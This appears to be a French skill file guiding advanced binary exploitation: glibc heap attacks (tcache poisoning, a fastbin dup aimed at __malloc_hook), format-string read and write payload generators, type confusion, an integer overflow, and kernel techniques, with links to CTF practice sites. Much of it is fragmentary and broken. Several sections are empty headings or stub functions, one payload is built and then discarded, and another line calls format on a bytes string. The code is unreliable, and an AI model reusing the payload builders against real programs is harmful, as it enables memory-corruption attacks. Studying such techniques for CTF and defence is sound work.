| name | binary-exploitation |
| description | Binary Exploitation avancé — heap exploitation, format string, use-after-free, type confusion, kernel exploitation, et techniques d'exploitation CTF/monde réel |
| tags | ["exploit","heap","format-string","UAF","type-confusion","kernel","CTF","binary"] |
| version | 1 |
Binary Exploitation Avancé
Guide d'exploitation binaire avancée — au-delà du buffer overflow classique, vers les techniques heap, kernel, et format string.
1. Heap Exploitation — Linux (glibc)
glibc Allocator Internals
struct malloc_chunk {
size_t prev_size;
size_t size;
struct malloc_chunk *fd;
struct malloc_chunk *bk;
};
tcache Poisoning (glibc ≥ 2.26)
def tcache_poison(free_addr, target_addr):
"""
1. Free chunk A (size N) → tcache[N] = A
2. Free chunk B (size N) → tcache[N] = B → A
3. Read chunk B's fd pointer = A's address (UAF leak)
4. Write target_addr to B's fd
5. malloc(N) → returns B
6. malloc(N) → returns A (or target_addr!)
"""
write(free_addr, pack("<Q", target_addr))
p1 = malloc(N)
p2 = malloc(N)
Fastbin Attack (glibc < 2.26)
def fastbin_dup():
a = malloc(0x68)
b = malloc(0x68)
c = malloc(0x68)
free(a)
free(b)
free(a)
p1 = malloc(0x68)
p2 = malloc(0x68)
p3 = malloc(0x68)
p3[0] = pack("<Q", __malloc_hook - 0x23)
malloc(0x68)
House of Force (top chunk)
def house_of_force(victim_top_chunk, target_addr):
pass
Unsorted Bin Attack
def unsorted_bin_attack(target_addr):
2. Format String
Arbitrary Read
from pwn import *
def fmt_read(fmt_string, offset=6):
"""Lire n'importe quelle adresse avec format string"""
addr = 0xdeadbeef
payload = pack("<Q", addr)
payload += b"%7$s"
payload = b""
for i, addr in enumerate(addresses):
payload += pack("<Q", addr)
payload += b"|".join([f"%{offset + i}$s" for i in range(len(addresses))])
Arbitrary Write (%n)
def fmt_write(target_addr, value, offset=6):
"""Écrire valeur sur adresse arbitraire"""
payload = b""
addr_low = target_addr
addr_high = target_addr + 2
writes = [(value & 0xFFFF, addr_low),
((value >> 16) & 0xFFFF, addr_high)]
writes.sort()
payload += pack("<Q", addr_low) + pack("<Q", addr_high)
pos = offset + 2
current = 8
for val, addr in writes:
if val > current:
payload += b"%" + str(val - current).encode() + b"c"
elif val < current:
payload += b"%" + str(val + 0x10000 - current).encode() + b"c"
val += 0x10000
payload += b"%{0}$hn".format(pos).encode()
current = val
pos += 1
return payload
3. Type Confusion
class Shape {
virtual void draw() = 0;
};
class Circle : public Shape {
int radius;
virtual void draw() override { }
};
class Message {
char buffer[32];
};
void vulnerable(Shape* obj) {
obj->draw();
}
Vtable Spray
4. Integer Overflow → Heap Overflow
int vulnerable(int size) {
char *buf = malloc(size * 4);
read(0, buf, size * 4 + 100);
}
5. Kernel Exploitation
Kernel UAF
Ret2dir (Kernel Mappings)
6. Tools
from pwn import *
one_gadget libc.so.6
7. Practice
- pwn.college : Heap, Kernel, Format string
- HTB Pwn : Machine pwn challenges
- CTF Competitions : DEFCON, HITCON, Hack.lu
- pwnable.tw : Classic exploitation
- Nightmare : https://github.com/guyinatuxedo/nightmare